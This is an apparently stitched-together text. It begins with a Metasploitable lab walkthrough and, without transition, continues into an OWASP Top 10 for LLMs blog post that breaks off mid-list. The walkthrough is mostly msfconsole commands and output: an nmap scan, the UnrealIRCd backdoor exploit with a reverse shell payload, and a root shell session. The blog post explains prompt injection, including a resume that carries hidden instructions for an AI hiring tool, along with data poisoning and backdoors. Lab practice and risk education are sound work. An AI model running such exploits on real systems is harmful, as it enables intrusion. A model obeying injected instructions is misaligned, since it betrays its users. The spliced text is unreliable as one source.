The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools. After the virtual machine boots, login to console with username msfadmin and password msfadmin. From the shell, run the ifconfig command to identify the IP address. To get your IP address you must configure VM on Bridge adapter



mode.eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1 inet addr:192.168.1.4 Bcast:192.168.1.255 Mask:255.255.255.0



So in my case IP address for attack is 192.168.1.4. From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. Let’s get to it:



To open Metasploit, run the command:



msfconsoleI receive the following: cowsay++ ________ ------------ ,, (oo) () ) ||--|| * =[ metasploit v4.11.15-dev-8697798 ]+ -- --=[ 1523 exploits - 887 auxiliary - 260 post ]+ -- --=[ 436 payloads - 38 encoders - 8 nops ]+ -- --=[



Free Metasploit Pro trial: http://r-7.co/trymsp ]msf >



Whenever you start up Metasploit, there is a cute little banner which is sometimes an animal saying "metasploit" or an astroids based ASCII art. Regardless of what you see there, the important stuff is below. Metasploit will print out its version including core and API version, how many exploits, auxiliary, and post modules it has loaded as well as how many payloads, encoders.



From here we can start to enter commands. Let’s look:



help :msf > helpCore Commands============= Command Description ------- ----------- ? Help menu advanced Displays advanced options for one or more modules back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host edit Edit the current module with $VISUAL or $EDITOR exit Exit the console get Gets the value of a context-specific variable getg Gets the value of a global variable grep Grep the output of another command help Help menu info Displays information about one or more modules irb Drop into irb scripting mode jobs Displays and manages jobs kill Kill a job load Load a framework plugin loadpath Searches for and loads modules from a path makerc Save commands entered since start to a file options Displays global options or for one or more modules popm Pops the latest module off the stack and makes it active previous Sets the previously loaded module as the current module pushm Pushes the active or list of modules onto the module stack quit Exit the console reloadall Reloads all modules from all defined module paths renamejob Rename a job resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores search Searches module names and descriptions sessions Dump session listings and display information about sessions set Sets a context-specific variable to a value setg Sets a global variable to a value show Displays modules of a given type, or all modules sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads unload Unload a framework plugin unset Unsets one or more context-specific variables unsetg Unsets one or more global variables use Selects a module by name version Show the framework and console library version numbersDatabase Backend Commands========================= Command Description ------- ----------- creds List all credentials in the database dbconnect Connect to an existing database dbdisconnect Disconnect from the current database instance dbexport Export a file containing the contents of the database dbimport Import a scan result file (filetype will be auto-detected) dbnmap Executes nmap and records the output automatically dbrebuildcache Rebuilds the database-stored module cache dbstatus Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces



So we can now see all options available to us. A shortcut for "help" is also a question mark ("?"). The help command is a good reference in case you are stuck on a certain menu, or just want to learn more features of the msfconsole.



To start off a pentest, we need to find the machines on the network. Finding all machines and attack vectors is known as "intelligence gathering" or "enumeration". To find all targets on our network, we would just run an nmap scan against our subnet. There are many different options for nmap, including host OS discovery, stealthy scans, tracemaps, and many others.



Okay, now let's finally start exploiting this machine. As previously stated, we need to run host enumeration against this machine to see what type of services it has running and which ports are open. Inside of msfconsole we can utilize the database built in to save our nmap scans. Run this command to insure that our database is connected:



msf > dbstatus[] postgresql connected to metasploit4msf > dbnmap[] Usage: dbnmap [--save | [--help | -h]] [nmap options]msf >



If it spits out an error, then we need to connect our database. Okay, now let's finally start exploiting this machine. Type:



dbnmap -v -sS -A [ip-address]



v is "verbose" which means it will output more information for us to the screen.


-sS is the "SYN" or "stealth" scan, which doesn't create a full connection to the host and is thus "stealthy". If you want to know more about this check out the nmap man page or other documention.


-A is an all-encompassing option which includes Operating System detection, version detection (like the -sV option), script scanning, and traceroute.



msf > dbnmap -v -sS -A 192.168.1.4[] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-11 20:20 CET[] Nmap: NSE: Loaded 132 scripts for scanning.[] Nmap: NSE: Script Pre-scanning.[] Nmap: Initiating NSE at 20:20[] Nmap: Completed NSE at 20:20, 0.00s elapsed[] Nmap: Initiating NSE at 20:20[] Nmap: Completed NSE at 20:20, 0.03s elapsed[] Nmap: Initiating ARP Ping Scan at 20:20[] Nmap: Scanning 192.168.1.4 [1 port][] Nmap: Completed ARP Ping Scan at 20:20, 0.23s elapsed (1 total hosts)[] Nmap: Initiating Parallel DNS resolution of 1 host. at 20:20[] Nmap: Completed Parallel DNS resolution of 1 host. at 20:20, 0.03s elapsed[] Nmap: Initiating SYN Stealth Scan at 20:20[] Nmap: Scanning 192.168.1.4 [1000 ports][] Nmap: Discovered open port 53/tcp on 192.168.1.4[] Nmap: Discovered open port 3306/tcp on 192.168.1.4[] Nmap: Discovered open port 25/tcp on 192.168.1.4[] Nmap: Discovered open port 21/tcp on 192.168.1.4[] Nmap: Discovered open port 22/tcp on 192.168.1.4[] Nmap: Discovered open port 139/tcp on 192.168.1.4[] Nmap: Discovered open port 23/tcp on 192.168.1.4[] Nmap: Discovered open port 111/tcp on 192.168.1.4[] Nmap: Discovered open port 80/tcp on 192.168.1.4[] Nmap: Discovered open port 445/tcp on 192.168.1.4[] Nmap: Discovered open port 5900/tcp on 192.168.1.4[] Nmap: Discovered open port 1099/tcp on 192.168.1.4[] Nmap: Discovered open port 2121/tcp on 192.168.1.4[] Nmap: Discovered open port 513/tcp on 192.168.1.4[] Nmap: Discovered open port 514/tcp on 192.168.1.4[] Nmap: Discovered open port 512/tcp on 192.168.1.4[] Nmap: Discovered open port 6000/tcp on 192.168.1.4[] Nmap: Discovered open port 8009/tcp on 192.168.1.4[] Nmap: Discovered open port 6667/tcp on 192.168.1.4[] Nmap: Discovered open port 2049/tcp on 192.168.1.4[] Nmap: Discovered open port 8180/tcp on 192.168.1.4[] Nmap: Discovered open port 1524/tcp on 192.168.1.4[] Nmap: Discovered open port 5432/tcp on 192.168.1.4[] Nmap: Completed SYN Stealth Scan at 20:20, 2.85s elapsed (1000 total ports)[] Nmap: Initiating Service scan at 20:20[] Nmap: Scanning 23 services on 192.168.1.4[] Nmap: Completed Service scan at 20:23, 136.29s elapsed (23 services on 1 host)[] Nmap: Initiating OS detection (try#1) against 192.168.1.4[] Nmap: NSE: Script scanning 192.168.1.4.[] Nmap: Initiating NSE at 20:23[] Nmap: Completed NSE at 20:26, 158.57s elapsed[] Nmap: Initiating NSE at 20:26[] Nmap: Completed NSE at 20:26, 0.16s elapsed[] Nmap: Nmap scan report for 192.168.1.4[] Nmap: Host is up (0.047s latency).[] Nmap: Not shown: 977 closed ports[] Nmap: PORT STATE SERVICE VERSION[] Nmap: 21/tcp open ftp vsftpd 2.3.4[] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)[] Nmap: | ssh-hostkey:[] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)[] Nmap: |
2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)[] Nmap: 23/tcp open telnet Linux telnetd[] Nmap: 25/tcp open smtp Postfix smtpd[] Nmap: |smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,[] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX[] Nmap: | Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX[] Nmap: | Public Key type: rsa[] Nmap: | Public Key bits: 1024[] Nmap: | Signature Algorithm: sha1WithRSAEncryption[] Nmap: | Not valid before: 2010-03-17T14:07:45[] Nmap: | Not valid after: 2010-04-16T14:07:45[] Nmap: | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828[] Nmap: |SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6[] Nmap: |ssl-date: 2016-03-11T19:23:22+00:00; -46s from scanner time.[] Nmap: 53/tcp open domain ISC BIND 9.4.2[] Nmap: | dns-nsid:[] Nmap: | bind.version: 9.4.2[] Nmap: 80/tcp open http Apache httpd 2.2.8 (DAV/2)[] Nmap: 111/tcp open rpcbind 2 (RPC#100000)[] Nmap: | rpcinfo:[] Nmap: | program version port/proto service[] Nmap: | 100000 2 111/tcp rpcbind[] Nmap: | 100000 2 111/udp rpcbind[] Nmap: | 100003 2,3,4 2049/tcp nfs[] Nmap: | 100003 2,3,4 2049/udp nfs[] Nmap: | 100005 1,2,3 35875/udp mountd[] Nmap: | 100005 1,2,3 44512/tcp mountd[] Nmap: | 100021 1,3,4 50723/tcp nlockmgr[] Nmap: | 100021 1,3,4 54154/udp nlockmgr[] Nmap: | 100024 1 35197/udp status[] Nmap: | 100024 1 47457/tcp status[] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)[] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)[] Nmap: 512/tcp open exec netkit-rsh rexecd[] Nmap: 513/tcp open login[] Nmap: 514/tcp open tcpwrapped[] Nmap: 1099/tcp open rmiregistry GNU Classpath grmiregistry[] Nmap: |rmi-dumpregistry: Registry listing failed (No return data received from server)[] Nmap: 1524/tcp open shell Metasploitable root shell[] Nmap: 2049/tcp open nfs 2-4 (RPC#100003)[] Nmap: 2121/tcp open ccproxy-ftp?[] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5[] Nmap: | mysql-info:[] Nmap: | Protocol: 53[] Nmap: | Version: .0.51a-3ubuntu5[] Nmap: | Thread ID: 8[] Nmap: | Capabilities flags: 43564[] Nmap: | Some Capabilities: SupportsCompression, SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, ConnectWithDatabase, Speaks41ProtocolNew, SupportsTransactions[] Nmap: | Status: Autocommit[] Nmap: | Salt: -6g${cZ|!+TFBVm?1xc[] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7[] Nmap: 5900/tcp open vnc VNC (protocol 3.3)[] Nmap: | vnc-info:[] Nmap: | Protocol version: 3.3[] Nmap: | Security types:[] Nmap: | Unknown security type (33554432)[] Nmap: 6000/tcp open X11 (access denied)[] Nmap: 6667/tcp open irc Unreal ircd[] Nmap: 8009/tcp open ajp13?[] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1[] Nmap: MAC Address: 08:00:27:02:3B:8E (Oracle VirtualBox virtual NIC)[] Nmap: Device type: general purpose[] Nmap: Running: Linux 2.6.X[] Nmap: OS CPE: cpe:/o:linux:linuxkernel:2.6[] Nmap: OS details: Linux 2.6.9 - 2.6.33[] Nmap: Uptime guess: 0.011 days (since Fri Mar 11 20:10:28 2016)[] Nmap: Network Distance: 1 hop[] Nmap: TCP Sequence Prediction: Difficulty=204 (Good luck!)[] Nmap: IP ID Sequence Generation: All zeros[] Nmap: Service Info: Hosts: metasploitable.localdomain, metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linuxkernel[] Nmap: Host script results:[] Nmap: | nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown)[] Nmap: | Names:[] Nmap: | METASPLOITABLE Flags: [] Nmap: | METASPLOITABLE Flags: [] Nmap: | METASPLOITABLE Flags: [] Nmap: | x01x02MSBROWSEx02 Flags: [] Nmap: | WORKGROUP Flags: [] Nmap: | WORKGROUP Flags: [] Nmap: |
WORKGROUP Flags: [] Nmap: TRACEROUTE[] Nmap: HOP RTT ADDRESS[] Nmap: 1 47.36 ms 192.168.1.4[] Nmap: NSE: Script Post-scanning.[] Nmap: Initiating NSE at 20:26[] Nmap: Completed NSE at 20:26, 0.03s elapsed[] Nmap: Initiating NSE at 20:26[] Nmap: Completed NSE at 20:26, 0.00s elapsed[] Nmap: Read data files from: /usr/bin/../share/nmap[] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit .[] Nmap: Nmap done: 1 IP address (1 host up) scanned in 326.93 seconds[] Nmap: Raw packets sent: 1104 (49.322KB) | Rcvd: 1102 (44.930KB)msf >



Once you run this, a whole lotta stuff should come out at you. Once the scan is done you might be confused with your results, but I'll show you how to easily determine your attack vector. When your database has hosts in it, you can display which ones it has tracked with the "hosts" command. Mine looks like this right now:



msf > hostsHosts=====address mac name osname osflavor ossp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------192.168.1.1 64:6e:ea:16:de:98 Linux 2.6.X server 192.168.1.2 Linux 3.X server 192.168.1.4 08:00:27:02:3b:8e Linux 2.6.X server



Pretty cool, right? It has the IP, OS, flavor of OS, MAC, and more! If we were to run a larger nmap scan, there would be many more hosts listed. This is a great way to keep track of which hosts are which while conducting a pentest. But how does this help us with our exploitation? Metasploit also has the option to display all services detected by typing "services". This is my output after scanning the Metasploitable host:



msf > servicesServices========host port proto name state info---- ---- ----- ---- ----- ---192.168.1.4 2121 tcp ccproxy-ftp open ProFTPD 1.3.1192.168.1.4 25 tcp smtp open Postfix smtpd192.168.1.4 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0192.168.1.4 53 tcp domain open ISC BIND 9.4.2192.168.1.4 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5192.168.1.4 6667 tcp irc open Unreal ircd192.168.1.4 23 tcp telnet open Linux telnetd192.168.1.4 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1192.168.1.4 5432 tcp postgresql open PostgreSQL DB 8.3.0 - 8.3.7192.168.1.4 2049 tcp nfs open 2-4 RPC#100003192.168.1.4 1524 tcp shell open Metasploitable root shell192.168.1.4 1099 tcp rmiregistry open GNU Classpath grmiregistry192.168.1.4 514 tcp tcpwrapped open 192.168.1.4 8009 tcp ajp13 open Apache Jserv Protocol v1.3192.168.1.4 111 tcp rpcbind open 2 RPC#100000192.168.1.4 513 tcp login open 192.168.1.4 512 tcp exec open netkit-rsh rexecd192.168.1.4 445 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP192.168.1.4 5900 tcp vnc open VNC protocol 3.3192.168.1.4 21 tcp ftp open vsftpd 2.3.4192.168.1.4 6000 tcp x11 open access denied192.168.1.4 139 tcp netbios-ssn open Samba smbd 3.X workgroup: WORKGROUP

Well that is quite a bit more useful. We can see the IP of the host with which port, protocol, and service is being used. On top of that, since we had version detection on, it displays more information about which version of the service is running.



msf > search unreal



We can see port 6667 is running Unreal ircd. Unreal is a server for irc (internet relay chat), and the "d" at the end of ircd stands for "daemon" which means the port is listening for a service in the background. Metasploit also has an awesome feature to find exploits, scanners, and other modules with the "search" option. We are going to run the following command to see if there's any modules for Unreal IRC:



msf > search unrealMatching Modules================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/linux/games/ut2004secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Linux) exploit/unix/irc/unrealircd3281backdoor 2010-06-12 excellent UnrealIRCD 3.2.8.1 Backdoor Command Execution exploit/windows/games/ut2004secure 2004-06-18 good Unreal Tournament 2004 "secure" Overflow (Win32)



To load a module in Metasploit, we use the "use" command followed by the name of the module:



msf > use exploit/unix/irc/unrealircd3281backdoormsf exploit(unrealircd3281backdoor) >



As we can see, our prompt has changed to show that we are using an exploit module with the name. When we are using the "use" command, you can use "tab completion" which means if you're stuck, hitting the tab key will either complete the option, or if tapped twice, will display the options (if there are multiple). Most Linux users know this command since it is incredibly useful while moving through a file system or issuing commands quickly. Now that we have the module loaded, issuing the command "show options" will of course show us the possible options.



msf exploit(unrealircd3281backdoor) > show optionsModule options (exploit/unix/irc/unrealircd3281backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target portExploit target: Id Name -- ---- 0 Automatic Target



There are only two options possible, and only one target which is automatic since this is only for one operating system. Both the options are required which means the exploit cannot be run without these. We can see the port is already set since IRC servers run on the port 6667 as a normal, but if someone is trying to hide the service on a different port, this can be changed. To set or change an option, issue the "set" command followed by the option you wish to change and finally the variable you want to change it to, like as follows:



msf exploit(unrealircd3281backdoor) > set RHOST 192.168.1.4RHOST => 192.168.1.4



Of course you would want to set your host IP to whatever the IP address is of your exploitable machine. Metasploit has certain "payloads" that we can use to determine what kind of code we want to execute when connecting to the host machine. you can use the "search" command followed by what you are looking for (e.g. unix shell).



msf exploit(unrealircd3281backdoor) > show payloadsCompatible Payloads=================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/unix/bindperl normal Unix Command Shell, Bind TCP (via Perl) cmd/unix/bindperlipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6 cmd/unix/bindruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/bindrubyipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6 cmd/unix/generic normal Unix Command, Generic Command Execution cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet) cmd/unix/reverseperl normal Unix Command Shell, Reverse TCP (via Perl) cmd/unix/reverseperlssl normal Unix Command Shell, Reverse TCP SSL (via perl) cmd/unix/reverseruby normal Unix Command Shell, Reverse TCP (via Ruby) cmd/unix/reverserubyssl normal Unix Command Shell, Reverse TCP SSL (via Ruby) cmd/unix/reversessldoubletelnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)msf exploit(unrealircd3281backdoor) > set RHOST 192.168.1.4RHOST => 192.168.1.4msf exploit(unrealircd3281backdoor) > set PAYLOAD cmd/unix/reverserubysslPAYLOAD => cmd/unix/reverserubyssl



Let's finally exploit this system! The exploit command has certain options such as -j which runs it as a job, or -z which does not interact with the system after exploitation. These can be used in different ways. To view all of them, use the help command followed by what command you need help with (e.g. help exploit). Running our exploit results in this:



msf exploit(unrealircd3281_backdoor) > exploit -z[] Started reverse SSL handler on 192.168.1.2:4444 [] 192.168.1.4:6667 - Connected to 192.168.1.4:6667... :irc.Metasploitable.LAN NOTICE AUTH : Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH : Couldn't resolve your hostname; using your IP address instead[] 192.168.1.4:6667 - Sending backdoor command...[] Exploit completed, but no session was created.



And in the end it does not work :(, but what can you do ... maybe I try the different exploit or payload..:) The output I was hoping for will look like this:

msf exploit(unrealircd3281backdoor) > exploit -z [] Started bind handler [] Connected to 192.168.1.10:6667... :irc.Metasploitable.LAN NOTICE AUTH : Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH : Couldn't resolve your hostname; using your IP address instead [] Sending backdoor command... [] Command shell session 3 opened (192.168.1.111:51923 -> 192.168.1.110:4444) at 2012-11-04 22:30:09 -0500 [] Session x created in the background. We see some output, and most notibly at the bottom "command shell session opened" and "session created in the background". If we didn't run this with the -z option and with no payload, the following output would have been produced:f exploit(unrealircd3281backdoor) > exploit [] Started reverse double handler [] Connected to 192.168.1.110:6667... :irc.Metasploitable.LAN NOTICE AUTH : Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH : Couldn't resolve your hostname; using your IP address instead [] Sending backdoor command... [] Accepted the first client connection... [] Accepted the second client connection... [] Command: echo aeuPuvLl90yRmhts; [] Writing to socket A [] Writing to socket B [] Reading from sockets... [] Reading from socket B [] B: "aeuPuvLl90yRmhtsrn" [] Matching... [] A is input... [] Command shell session x opened (192.168.1.111:4444 -> 192.168.1.110:49034) at 2012-11-03 23:08:41 -0400



That's a lot of stuff, but it's pretty easy to understand. First it connects to the socket (which is an IP and port) and receives back the two following lines. After it receives those, it sends the backdoor command and accepts two connections. Part of the exploit is echoing certain gibberish, which is then written to two sockets. Those sockets are then read and what is received is output. After the backdoor goes through, a command shell is opened and labeled as "session 1". Speaking from the most previous exploit, what we should have is a blank screen. Let's get back to what you should have done previously since this is just another option in our exploiting phase. Keep in mind when issuing exploits there are numerous ways to get where you need to be, and certain options are better than others. Now we have session x created in the background, how do we access it? Of course Metasploit has an awesome command for this, which is "sessions":



msf exploit(unrealircd3281backdoor) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- x shell unix 192.168.1.111:51923 -> 192.168.1.110:4444 (192.168.1.110)



Of course the IP addresses will be different than yours since we do not have the exact same network, but it should display your exploited system's IP address. The Id will also be the session# that you created and is variable to how many sessions you have created.



Finally how we interact with this session is to issue the following command: msf exploit(unrealircd3281backdoor) > sessions -i x [] Starting interaction with x... pwd /etc/unreal whoami root id uid=0(root) gid=0(root)So we can see, we interact with the session numbered x, then it brings us to that session which is a command prompt in the exploited machine. Running pwd displays our current working directory, whoami displays which user we have access as, and id displays our uid and gid permissions. So thank you for reading my first post on CYBRAY OPEN.

The Open Worldwide Application Security Project (OWASP) is a community-led organization and has been around for over 20 years and is largely known for its Top 10 web application security risks (check out our course on it). As the use of generative AI and large language models (LLMs) has exploded recently, so too has the risk to privacy and security by these technologies. OWASP, leading the charge for security, has come out with its Top 10 for LLMs and Generative AI Apps this year. In this blog post we’ll explore the Top 10 risks and explore examples of each as well as how to prevent these risks.

LLM01: Prompt Injection

Those familiar with the OWASP Top 10 for web applications have seen the injection category before at the top of the list for many years. This is no exception with LLMs and ranks as number one. Prompt Injection can be a critical vulnerability in LLMs where an attacker manipulates the model through crafted inputs, leading it to execute unintended actions. This can result in unauthorized access, data exfiltration, or social engineering. There are two types: Direct Prompt Injection, which involves "jailbreaking" the system by altering or revealing underlying system prompts, giving an attacker access to backend systems or sensitive data, and Indirect Prompt Injection, where external inputs (like files or web content) are used to manipulate the LLM's behavior.

As an example, an attacker might upload a resume containing an indirect prompt injection, instructing an LLM-based hiring tool to favorably evaluate the resume. When an internal user runs the document through the LLM for summarization, the embedded prompt makes the LLM respond positively about the candidate’s suitability, regardless of the actual content.

How to prevent prompt injection:

  1. Limit LLM Access: Apply the principle of least privilege by restricting the LLM's access to sensitive backend systems and enforcing API token controls for extended functionalities like plugins.
  2. Human Approval for Critical Actions: For high-risk operations, require human validation before executing, ensuring that the LLM's suggestions are not followed blindly.
  3. Separate External and User Content: Use frameworks like ChatML for OpenAI API calls to clearly differentiate between user prompts and untrusted external content, reducing the chance of unintentional action from mixed inputs.
  4. Monitor and Flag Untrusted Outputs: Regularly review LLM outputs and mark suspicious content, helping users to recognize potentially unreliable information.

LLM02: Insecure Output Handling

Insecure Output Handling occurs when the outputs generated by a LLM are not properly validated or sanitized before being used by other components in a system. Since LLMs can generate various types of content based on input prompts, failing to handle these outputs securely can introduce risks like cross-site scripting (XSS), server-side request forgery (SSRF), or even remote code execution (RCE). Unlike Overreliance (LLM09), which focuses on the accuracy of LLM outputs, Insecure Output Handling specifically addresses vulnerabilities in how these outputs are processed downstream.

As an example, there could be a web application that uses an LLM to summarize user-provided content and renders it back in a webpage. An attacker submits a prompt containing malicious JavaScript code. If the LLM’s output is displayed on the webpage without proper sanitization, the JavaScript will execute in the user’s browser, leading to XSS. Alternatively, if the LLM’s output is sent to a backend database or shell command, it could allow SQL injection or remote code execution if not properly validated.

How to prevent Insecure Output Handling:

  1. Zero-Trust Approach: Treat the LLM as an untrusted source, applying strict allow list validation and sanitization to all outputs it generates, especially before passing them to downstream systems or functions.
  2. Output Encoding: Encode LLM outputs before displaying them to end users, particularly when dealing with web content where XSS risks are prevalent.
  3. Adhere to Security Standards: Follow the OWASP Application Security Verification Standard (ASVS) guidelines, which provide strategies for input validation and sanitization to protect against code injection risks.

LLM03: Training Data Poisoning

Training Data Poisoning refers to the manipulation of the data used to train LLMs, introducing biases, backdoors, or vulnerabilities. This tampered data can degrade the model's effectiveness, introduce harmful biases, or create security flaws that malicious actors can exploit. Poisoned data could lead to inaccurate or inappropriate outputs, compromising user trust, harming brand reputation, and increasing security risks like downstream exploitation.

As an example, there could be a scenario where an LLM is trained on a dataset that has been tampered with by a malicious actor. The poisoned dataset includes subtly manipulated content, such as biased news articles or fabricated facts. When the model is deployed, it may output biased information or incorrect details based on the poisoned data. This not only degrades the model’s performance but can also mislead users, potentially harming the model’s credibility and the organization’s reputation.

How to prevent Training Data Poisoning:

  1. Data Validation and Vetting: Verify the sources of training data, especially when sourcing from third-party datasets. Conduct thorough checks on data integrity, and where possible, use trusted data sources.
  2. Machine Learning Bill of Materials (ML-BOM): Maintain an ML-BOM to track the provenance of training data and ensure that each source is legitimate and suitable for the model’s purpose.
  3. Sandboxing and Network Controls: Restrict access to external data sources and use network controls to prevent unintended data scraping during training. This helps ensure that only vetted data is used for training.
  4. Adversarial Robustness Techniques: Implement strategies like federated learning and statistical outlier detection to reduce the impact of poisoned data. Periodic testing and monitoring can identify unusual model behaviors that may indicate a poisoning attempt.
  5. Human Review and Auditing: Regularly audit model outputs and use a human-in-the-loop approach to validate outputs, especially for sensitive applications. This added layer of scrutiny can catch potential issues early.

LLM04: Model Denial of Service

Model Denial of Service (DoS) is a vulnerability in which an attacker deliberately consumes an excessive amount of computational resources by interacting with a LLM. This can result in degraded service quality, increased costs, or even system crashes. One emerging concern is manipulating the context window of the LLM, which refers to the maximum amount of text the model can process at once. This makes it possible to overwhelm the LLM by exceeding or exploiting this limit, leading to resource exhaustion.

As an example, an attacker may continuously flood the LLM with sequential inputs that each reach the upper limit of the model’s context window. This high-volume, resource-intensive traffic overloads the system, resulting in slower response times and even denial of service. As another example, if an LLM-based chatbot is inundated with a flood of recursive or exceptionally long prompts, it can strain computational resources, causing system crashes or significant delays for other users.

How to prevent Model Denial of Service:

  1. Rate Limiting: Implement rate limits to restrict the number of requests from a single user or IP address within a specific timeframe. This reduces the chance of overwhelming the system with excessive traffic.
  2. Resource Allocation Caps: Set caps on resource usage per request to ensure that complex or high-resource requests do not consume excessive CPU or memory. This helps prevent resource exhaustion.
  3. Input Size Restrictions: Limit input size according to the LLM's context window capacity to prevent excessive context expansion. For example, inputs exceeding a predefined character limit can be truncated or rejected.
  4. Monitoring and Alerts: Continuously monitor resource utilization and establish alerts for unusual spikes, which may indicate a DoS attempt. This allows for proactive threat detection and response.
  5. Developer Awareness and Training: Educate developers about DoS vulnerabilities in LLMs and establish guidelines for secure model deployment. Understanding these risks enables teams to implement preventative measures more effectively.

LLM05: Supply Chain Vulnerabilities

Supply Chain attacks are incredibly common and this is no different with LLMs, which, in this case refers to risks associated with the third-party components, training data, pre-trained models, and deployment platforms used within LLMs. These vulnerabilities can arise from outdated libraries, tampered models, and even compromised data sources, impacting the security and reliability of the entire application. Unlike traditional software supply chain risks, LLM supply chain vulnerabilities extend to the models and datasets themselves, which may be manipulated to include biases, backdoors, or malware that compromises system integrity.

As an example, an organization uses a third-party pre-trained model to conduct economic analysis. If this model is poisoned with incorrect or biased data, it could generate inaccurate results that mislead decision-making. Additionally, if the organization uses an outdated plugin or compromised library, an attacker could exploit this vulnerability to gain unauthorized access or tamper with sensitive information. Such vulnerabilities can result in significant security breaches, financial loss, or reputational damage.

How to prevent Supply Chain Vulnerabilities:

  1. Vet Third-Party Components: Carefully review the terms, privacy policies, and security measures of all third-party model providers, data sources, and plugins. Use only trusted suppliers and ensure they have robust security protocols in place.
  2. Maintain a Software Bill of Materials (SBOM): An SBOM provides a complete inventory of all components, allowing for quick detection of vulnerabilities and unauthorized changes. Ensure that all components are up-to-date and apply patches as needed.
  3. Use Model and Code Signing: For models and external code, employ digital signatures to verify their integrity and authenticity before use. This helps ensure that no tampering has occurred.
  4. Anomaly Detection and Robustness Testing: Conduct adversarial robustness tests and anomaly detection on models and data to catch signs of tampering or data poisoning. Integrating these checks into your MLOps pipeline can enhance overall security.
  5. Implement Monitoring and Patching Policies: Regularly monitor component usage, scan for vulnerabilities, and patch outdated components. For sensitive applications, continuously audit your suppliers’ security posture and update components as new threats emerge.

LLM06: Sensitive Information Disclosure

Sensitive Information Disclosure in LLMs occurs when the model inadvertently reveals private, proprietary, or confidential information through its output. This can happen due to the model being trained on sensitive data or because it memorizes and later reproduces private information. Such disclosures can result in significant security breaches, including unauthorized access to personal data, intellectual property leaks, and violations of privacy laws.

As an example, there could be an LLM-based chatbot trained on a dataset containing personal information such as users’ full names, addresses, or proprietary business data. If the model memorizes this data, it could accidentally reveal this sensitive information to other users. For instance, a user might ask the chatbot for a recommendation, and the model could inadvertently respond with personal information it learned during training, violating privacy rules.

How to prevent Sensitive Information Disclosure:

  1. Data Sanitization: Before training, scrub datasets of personal or sensitive information. Use techniques like anonymization and redaction to ensure no sensitive data remains in the training data.
  2. Input and Output Filtering: Implement robust input validation and sanitization to prevent sensitive data from entering the model’s training data or being echoed back in outputs.
  3. Limit Training Data Exposure: Apply the principle of least privilege by restricting sensitive data from being part of the training dataset. Fine-tune the model with only the data necessary for its task, and ensure high-privilege data is not accessible to lower-privilege users.
  4. User Awareness: Make users aware of how their data is processed by providing clear Terms of Use and offering opt-out options for having their data used in model training.
  5. Access Controls: Apply strict access control to external data sources used by the LLM, ensuring that sensitive information is handled securely throughout the system

LLM07: Insecure Plugin Design

Insecure Plugin Design vulnerabilities arise when LLM plugins, which extend the model’s capabilities, are not adequately secured. These plugins often allow free-text inputs and may lack proper input validation and access controls. When enabled, plugins can execute various tasks based on the LLM’s outputs without further checks, which can expose the system to risks like data exfiltration, remote code execution, and privilege escalation. This vulnerability is particularly dangerous because plugins can operate with elevated permissions while assuming that user inputs are trustworthy.

As an example, there could be a weather plugin that allows users to input a base URL and query. An attacker could craft a malicious input that directs the LLM to a domain they control, allowing them to inject harmful content into the system. Similarly, a plugin that accepts SQL “WHERE” clauses without validation could enable an attacker to execute SQL injection attacks, gaining unauthorized access to data in a database.

How to prevent Insecure Plugin Design:

  1. Enforce Parameterized Input: Plugins should restrict inputs to specific parameters and avoid free-form text wherever possible. This can prevent injection attacks and other exploits.
  2. Input Validation and Sanitization: Plugins should include robust validation on all inputs. Using Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) can help identify vulnerabilities during development.
